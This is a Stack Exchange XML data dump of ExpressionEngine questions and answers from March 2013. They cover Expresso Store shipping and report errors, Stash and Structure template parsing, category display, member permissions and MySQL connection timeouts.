  <row Id="7567" PostTypeId="1" AcceptedAnswerId="8847" CreationDate="2013-03-20T22:27:34.197" Score="1" ViewCount="91" Body="&lt;p&gt;When calculating a single quantity item in the store using UPS shipping, my shipping calculations work perfect. However, if I add 2 or more quantities, my shipping rates go up but not exactly the same as what UPS is calculating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit] EE 2.5.3 w/ Expresso Store 1.6.2 / IIS 7 / PHP 5.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1X Item Calculation (perfect)&#xA;UPS $14.66&#xA;Store $14.66&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2X Items (different)&#xA;UPS $29.32 &#xA;Store $17.25&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2013-03-20T22:38:07.153" LastActivityDate="2013-03-29T17:59:42.130" Title="Expresso Store UPS Shipping Calculation is off on with multiple quantities" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7568" PostTypeId="1" CreationDate="2013-03-20T22:37:10.163" Score="1" ViewCount="82" Body="&lt;p&gt;I'm getting a PHP error when generating reports. Any idea what this means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3 w/ Expresso Store 1.6.2 / IIS 7 / PHP 5.3.6&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;Message: Invalid CRT parameters detected&#xA;Filename: store/mcp.store.php&#xA;Line Number: 2248&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-11-01T10:53:31.063" Title="Expresso Store PHP Error with reports" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7569" PostTypeId="2" ParentId="7527" CreationDate="2013-03-21T00:36:43.273" Score="2" Body="&lt;p&gt;OK. I found the answer to my own problem. I was storing three years worth of Logs in my Amazon S3 folder which made an insane number of files for Assets to index, causing the memory error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you turn on Logging for Amazon S3, don't keep the logs in the same bucket that you keep your... ahem... assets. Keep the logs in a separate log-only bucket that you don't hook up with Assets.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-03-21T00:36:43.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7570" PostTypeId="2" ParentId="7566" CreationDate="2013-03-21T03:43:08.303" Score="0" Body="&lt;p&gt;Unless I am misunderstanding something, you should be able to easily do it like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{title} &amp;lt;sup&amp;gt;&amp;amp;reg;&amp;lt;/sup&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, if you want to keep your HTML clean, use the :after pseudo-class in your CSS?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-21T03:43:08.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7571" PostTypeId="1" CreationDate="2013-03-21T04:28:15.410" Score="1" ViewCount="617" Body="&lt;p&gt;Here's the code i'm essentially trying to achieve&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set=&quot;page_content&quot;}&#xA;    {exp:channel:entries channel=&quot;photos&quot; dynamaic=&quot;off&quot; entry_id=&quot;{structure:child_ids_for:1}&quot;}&#xA;        {!-- My Code --}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my first problem &lt;code&gt;{structure:child_ids_for:1}&lt;/code&gt; is unable to output as a channel parmater. I tried to stash that structure variable, I tried it as a snippet and no luck with both. I'm also using template partials so that's why &lt;code&gt;page_content&lt;/code&gt; is being set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This following code works with static values but not the &lt;code&gt;{structure:child_ids_for:1}&lt;/code&gt; tag in the stash set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Works:        {exp:stash:set name=&quot;photo_child_ids&quot;}2|3|4{/exp:stash:set}&#xA;Doesn't Work: {exp:stash:set name=&quot;photo_child_ids&quot;}{structure:child_ids_for:1}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set=&quot;page_content&quot;}&#xA;    {exp:stash:parse process=&quot;end&quot;}&#xA;        {exp:channel:entries channel=&quot;photos&quot; parse=&quot;inward&quot; dynamaic=&quot;off&quot; entry_id=&quot;{stash:photo_child_ids}&quot;}&#xA;            {!-- EE Code --}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:parse}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Thanks for the answers. The solution is below.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This stashes the structure child ID tag&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;photo_child_ids&quot; process=&quot;end&quot; parse_tags=&quot;yes&quot;}{structure:child_ids_for:1}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This code gets that photo_child_ids stash variable and sets it as a parameter&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;page_content&quot;}&#xA;    {exp:stash:parse process=&quot;end&quot;}&#xA;        {exp:channel:entries channel=&quot;photos&quot; parse=&quot;inward&quot; dynamic=&quot;off&quot; entry_id=&quot;{stash:photo_child_ids}&quot;}&#xA;            {!-- My Code --}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:parse}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="134" LastEditorUserId="134" LastEditDate="2013-03-22T13:14:34.133" LastActivityDate="2013-03-22T13:14:34.133" Title="Stashing a structure variable and using it as a channel parameter" Tags="|templates|stash|structure|parse-order|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7572" PostTypeId="1" CreationDate="2013-03-21T05:10:23.163" Score="-3" ViewCount="215" Body="&lt;p&gt;I'd like to start editing a template, the template uses php to create an array. Is their documentation about how to only get an array for a certain category? Or are they channels? Sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't modify the code too much, but simply need to get the entries from an archive category / channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;h2&amp;gt;&amp;lt;span&amp;gt;Selected Projects&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;ul id=&quot;project_list&quot;&amp;gt;&#xA;  &amp;lt;?php foreach ($entries_query-&amp;gt;result_array() as $entry): ?&amp;gt;  &amp;lt;li&amp;gt;&#xA;      &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/projects/&amp;lt;?= $entry['url_title'] ?&amp;gt;/&quot;&amp;gt;&amp;lt;?= $entry['title'] ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;?php if ($entry['rollover_image']): ?&amp;gt;&#xA;        {exp:imgsizer:size image=&quot;&amp;lt;?= str_replace('{filedir_1}', '/images/projects/', $entry['rollover_image']) ?&amp;gt;&quot; width=&quot;320&quot; alt=&quot;&quot; quality=&quot;90&quot;}&#xA;      &amp;lt;?php else: ?&amp;gt;&#xA;        {exp:imgsizer:size image=&quot;&amp;lt;?= $images[$entry['entry_id']] ?&amp;gt;&quot; width=&quot;320&quot; alt=&quot;&quot; quality=&quot;90&quot;}&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&amp;lt;?php &#xA;        foreach ($categories_query-&amp;gt;result_array() as $cat):&#xA;          if ($cat['entry_id'] == $entry['entry_id']) {&#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;span class=&quot;'.$cat['cat_url_title'].'&quot;&amp;gt;'.$cat['name'].'&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;          }&#xA;        endforeach; &#xA;      ?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help. &lt;/p&gt;&#xA;" OwnerUserId="1206" LastActivityDate="2013-03-21T09:02:31.687" Title="Get array of entries based of catagory" Tags="|categories|channel|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7573" PostTypeId="1" AcceptedAnswerId="7623" CreationDate="2013-03-21T09:01:35.187" Score="1" ViewCount="46" Body="&lt;p&gt;I have a membergroup &quot;Admins&quot; and 3 other member groups.&#xA;I want to give the admins the ability to email a member via the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using ZooVistor here (zoovistior fieldtype)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I keep getting the following message when I click 'Email member'&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An Error Was Encountered You are not authorized to access this page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I enabled the following settings already:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can access TOOLS: Communication &lt;/li&gt;&#xA;&lt;li&gt;Can send email via the ControlPanel &lt;/li&gt;&#xA;&lt;li&gt;Can send email to Member Groups  &lt;/li&gt;&#xA;&lt;li&gt;Can send email to Mailing List  &lt;/li&gt;&#xA;&lt;li&gt;Can view/send cached email &lt;/li&gt;&#xA;&lt;li&gt;Can administrate members accounts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm using EE v2.5.3 - Build Date: 20120911&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="28" LastEditDate="2013-03-22T04:53:43.223" LastActivityDate="2013-03-22T04:53:43.223" Title="What are the settings for emailing a member through CP?" Tags="|members|control-panel|zoo-visitor|permissions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7574" PostTypeId="2" ParentId="7572" CreationDate="2013-03-21T09:02:31.687" Score="2" Body="&lt;p&gt;Instead of using the PHP code for populating the entries of category/categories, you should use the channel entry tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;CHANNEL_NAME&quot; category=&quot;CATEGORY_ID&quot;}&#xA;    &amp;lt;P&amp;gt;{title}&amp;lt;/P&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;take a reference from here to get list of all the parameters and variables to be used with channel entry tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-21T09:02:31.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7575" PostTypeId="2" ParentId="7571" CreationDate="2013-03-21T09:08:45.300" Score="0" Body="&lt;p&gt;Put the channel entry tags within an embedded template and pass the structure value as embed parameter as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set=&quot;page_content&quot;}&#xA;{embed=&quot;temp_grp/temp_name&quot; entry_ids=&quot;{structure:child_ids_for:1}&quot;}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within &quot;temp_grp/temp_name&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;photos&quot; dynamic=&quot;no&quot; entry_id=&quot;{embed:entry_ids}&quot; parse=&quot;inward&quot;}&#xA;{!-- My Code --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-21T09:08:45.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7576" PostTypeId="2" ParentId="7566" CreationDate="2013-03-21T09:26:19.793" Score="0" Body="&lt;p&gt;It looks like EE has replaced the character entity with the actual character by the time it outputs the &lt;code&gt;{title}&lt;/code&gt;. So you'd have to search for the character rather than the entity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jQuery to do what you want would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var title = $('h1');&#xA;title.html(title.text().split('®').join('&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt;'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would find all instances of the ® character in your h1 and wrap them in &lt;code&gt;sup&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you didn't want to use Javascript you could do it with PHP and a plugin. Let me know if you'd like to go down that route.&lt;/p&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2013-03-21T09:26:19.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7577" PostTypeId="1" CreationDate="2013-03-21T09:45:15.810" Score="1" ViewCount="188" Body="&lt;p&gt;I am having a problem but with express:store on expressionengine and paypal_express. I have inputed all the details but I was receiving a 'Security header is not valid&quot; I deleted the payment method and re-created it but I am now getting another error 'returnURL is invalid' I have remove the .htaccess thinking this may interfere with it but I am at the end of my teather here. Any help or advice would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1207" LastActivityDate="2013-08-15T19:09:26.513" Title="returnURL is invalid expresso:store paypal_express" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7578" PostTypeId="1" CreationDate="2013-03-21T10:55:44.087" Score="2" ViewCount="138" Body="&lt;p&gt;Firstly, I'm sorry if this has been answered elsewhere, but I did a search and couldn't find an answer to my specific query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work for a company that has outsourced it's web production and I'm not sure if the design firm have set up the sites in the most cost effective and efficient way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, we have three identical sites that are basically a CRM system.  There is a database of clients and a list of investments they currently hold.  They are for three sub-companies and are each hosted at www.example1.com, www.example2.com and www.example3.com.  The web design company have paid for three separate EE licences and three separate MSM licences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, I was wondering if the MSM licences were necessary given that each domain is hosting a separate (albeit identical) EE setup with a separate licence?  Secondly, would there be anything stopping us from using subdomains with one of the MSM licences so having a set up like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;siteone.example1.com, sitetwo.example1.com and sitethree.example1.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The three sites are for 3 sub companies and we would not want the users from each sub company to have access to the other sub companies (will this be the issue with using the subdomain/MSM idea? Is there a way of assigning access to only one subdomain to a user?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The host we use offer unlimited subdomains and mySQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any assistance you can give!&lt;/p&gt;&#xA;" OwnerUserId="1209" LastActivityDate="2013-03-21T16:20:27.630" Title="Site Structure with Subdomains" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7579" PostTypeId="1" AcceptedAnswerId="7580" CreationDate="2013-03-21T11:13:22.277" Score="2" ViewCount="132" Body="&lt;p&gt;I am trying to build a Expression engine field-type(add-on),where I will be storing the field-type data in a separate table(Ex:field_type_data).I am able to update the records of the table &quot;field_type_data&quot; whenever a entry or multiple entries gets deleted,through function delete($ids) in ft.fieldtypename.php which gets called whenever a entry is deleted and $ids is an array containing the ids of the entries that are deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am not able to do the same when a channel itself is deleted by user.Because with the deletion of a channel all the entries related to that channel also gets deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me please,how to and where I can know the list  of entries related to the channel when it gets deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2013-04-12T09:54:15.080" Title="How to update field-type table when a channel gets deleted?" Tags="|add-on-development|fieldtype|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7580" PostTypeId="2" ParentId="7579" CreationDate="2013-03-21T12:06:37.300" Score="1" Body="&lt;p&gt;hm... is no any special hooks for this in EE as I know. So possible solution is to create ext. on sessions_end or sessions_start and execute records cleanup in case if $_GET = &quot;channel_delete&quot; exist.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-21T12:06:37.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7581" PostTypeId="1" CreationDate="2013-03-21T13:04:43.600" Score="2" ViewCount="79" Body="&lt;p&gt;I have a site that was developed several years ago by someone else, using an addon cpNavBreadcrumb, about which I can find no information at all on the net!!! I just upgraded the site from ee 1.6.7 to ee 2.5.5 and all of the pages which reference cpNavBreadcrumb (ie all except the homepage) did not load until I commented out the relevant code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Structure which I was hoping to use to replace cpNavBreadcrumb, but it appears that this is not a straightforward as I had hoped.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you add Structure to an existing site?  &lt;/p&gt;&#xA;" OwnerUserId="1211" LastActivityDate="2013-03-21T19:58:35.443" Title="Using structure on existing site" Tags="|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7583" PostTypeId="1" CreationDate="2013-03-21T14:24:24.510" Score="0" ViewCount="394" Body="&lt;p&gt;I have a query being compiled in a template but by the time it's run, it appears that the query module has lost it's connection to the DB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 2013&#xA;&#xA;Lost connection to MySQL server during query&#xA;&#xA;..query here...&#xA;&#xA;Filename: modules/query/mod.query.php&#xA;&#xA;Line Number: 181&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to extend the database connection period so this can be avoided?&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-03-21T15:53:57.007" Title="Query module: lost connection to MySQL server during query" Tags="|database|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7584" PostTypeId="2" ParentId="647" CreationDate="2013-03-21T14:31:51.540" Score="0" Body="&lt;p&gt;Kim,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you share your PHP solution with me that apparently solved your issue&gt; I'm running into a similar situation with multiple categories to filter on.&#xA;I'm a PHP newbe....&lt;/p&gt;&#xA;" OwnerUserId="664" LastActivityDate="2013-03-21T14:31:51.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7586" PostTypeId="1" CreationDate="2013-03-21T14:32:15.930" Score="1" ViewCount="123" Body="&lt;p&gt;Relinked a bunch of Assets in Wygwam fields to take of advantage of the dynamic link to the Asset. Moved the Assets from a local file upload source to and S3 source. As a result, assets paths now look like this when rendered in  a Wygwam field on the front-end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{assets_412:http://s3.amazonaws.com/API/images/about/filename.jpg}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like a bug? Is there a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="1033" LastActivityDate="2013-03-21T16:10:11.280" Title="Assets 2.05 + Wygwam 2.7 - Paths Broken" Tags="|wygwam|assets|bug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7587" PostTypeId="2" ParentId="7160" CreationDate="2013-03-21T14:34:00.230" Score="1" Body="&lt;p&gt;This turned out to be a problem with local delivery set on the server. We started the hosting account with our main domain name and so it was not allowing me to send email to that domain. Once the host turned that off, it fixed everything and I could use phpmail.&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2013-03-21T14:34:00.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7588" PostTypeId="2" ParentId="7571" CreationDate="2013-03-21T14:35:44.270" Score="1" Body="&lt;p&gt;First, &lt;strong&gt;dynamic&lt;/strong&gt; is misspelled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, Try to add parse_tags=&quot;yes&quot; to the stash set. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set=&quot;page_content&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;photos&quot; dynamic=&quot;off&quot; entry_id=&quot;{structure:child_ids_for:1}&quot; parse=&quot;inward&quot;}&#xA;         {!-- My Code --}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parse_tags=&quot;yes&quot; tells stash to parse whatever tags are inside rather than simply stashing the code as text.&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2013-03-21T16:02:33.337" LastActivityDate="2013-03-21T16:02:33.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7589" PostTypeId="1" CreationDate="2013-03-21T15:14:09.547" Score="1" ViewCount="77" Body="&lt;p&gt;I just upgraded from ee 1.6.7 to ee 2.5.5.  The original site used geofinder and so I installed the latest version of geofinder and the relevant page does not load.  It could be unrelated, but is there any change in the syntax  I should know about?  This is an except from the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:geofinder:location_results channel=&quot;results_groups&quot; status=&quot;open&quot; limit=&quot;10&quot; geoquery=&quot;{segment_6}&quot; radius=&quot;100&quot;  latitude=&quot;{latitude}&quot; longitude=&quot;{longitude}&quot; google_maps_api_key=&quot;&quot; distance_mode=&quot;miles&quot; disable=&quot;member_data|category_fields|trackbacks&quot;  orderby=&quot;state|title&quot; sort=&quot;asc|asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1211" LastEditorUserId="28" LastEditDate="2013-03-22T04:57:47.323" LastActivityDate="2013-03-23T16:46:29.780" Title="Geofinder not working after upgrade" Tags="|geofinder|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7590" PostTypeId="2" ParentId="7566" CreationDate="2013-03-21T15:28:51.930" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt; plugin is ideal for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your title field contains &lt;code&gt;My Title &amp;amp;reg;&lt;/code&gt; then in your template you can do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;&amp;amp;reg;&quot; replace=&quot;&amp;lt;sup&amp;gt;&amp;amp;reg;&amp;lt;/sup&amp;gt;&quot;}{title}{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which will output &lt;code&gt;My Title &amp;lt;sup&amp;gt;&amp;amp;reg;&amp;lt;/sup&amp;gt;&lt;/code&gt; as you wanted.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-03-21T15:28:51.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7591" PostTypeId="1" AcceptedAnswerId="7592" CreationDate="2013-03-21T15:29:15.937" Score="6" ViewCount="10139" Body="&lt;p&gt;I'm on a single product entry page. The URL does not specify the category. In fact, the entry has 3 category groups associated with it. I want to display the first category assigned from each of the category groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; }&#xA;&amp;lt;div id=&quot;prodinfo&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {exp:channel:categories category_group=&quot;4&quot; note=&quot;vehicle type&quot;}&#xA;    {category_name}&#xA;    {/exp:channel:categories}&#xA;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- END #prodinfo --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is displaying all the categories in the group. I've also tried using the {if active} conditional variable, but as it relies on the URI, it's not working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2014-09-19T05:06:07.137" Title="How to Display an Entry's Category?" Tags="|templates|conditionals|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7592" PostTypeId="2" ParentId="7591" CreationDate="2013-03-21T15:33:39.037" Score="9" Body="&lt;p&gt;I think you're trying to use the wrong tag here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That exp:channel:categories tag is for when you want to display a list of all the categories on your site - and possibly link to those &quot;category listing&quot; pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I display an individual entry's category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;spc-content&quot; limit=&quot;1&quot; rdf=&quot;off&quot; show_future_entries=&quot;no&quot; status=&quot;open|Featured&quot; require_entry=&quot;yes&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{categories}&amp;lt;a href=&quot;{path=obsessive/compulsions}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt; {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change your code to display what you want, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; }&#xA;&amp;lt;div id=&quot;prodinfo&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {categories}&#xA;    {category_name}&#xA;    {/categories}&#xA;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- END #prodinfo --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-03-21T15:33:39.037" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7593" PostTypeId="2" ParentId="7583" CreationDate="2013-03-21T15:48:10.353" Score="1" Body="&lt;p&gt;Sounds like you need to increase the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_connect_timeout&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;connect_timeout&lt;/strong&gt;&lt;/a&gt; setting in my.cnf or adjust your query so it processes faster. If you aren't on a VPS, you'll have to contact your host to figure out how you make the my.cnf change in their setup.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-21T15:53:57.007" LastActivityDate="2013-03-21T15:53:57.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7594" PostTypeId="2" ParentId="6489" CreationDate="2013-03-21T16:07:28.710" Score="1" Body="&lt;p&gt;To the best of my knowledge, no. You can't customize the PDFs, because the current reports aren't really customizable. You would need to create an add-on for Store, like &lt;a href=&quot;http://devot-ee.com/add-ons/store-custom-inventory-columns&quot; rel=&quot;nofollow&quot;&gt;Custom Inventory Columns&lt;/a&gt; did or export the data and create custom reports on your desktop. You could possibly also create custom report layouts just using the Query Module in EE, and make them protected pages for your client.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-21T16:07:28.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7595" PostTypeId="2" ParentId="7586" CreationDate="2013-03-21T16:10:11.280" Score="1" Body="&lt;p&gt;I've got a bug report posted about this, but I do not have a fix for it at the moment. I've added a note to update you here once the release is in that fixes it.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-21T16:10:11.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
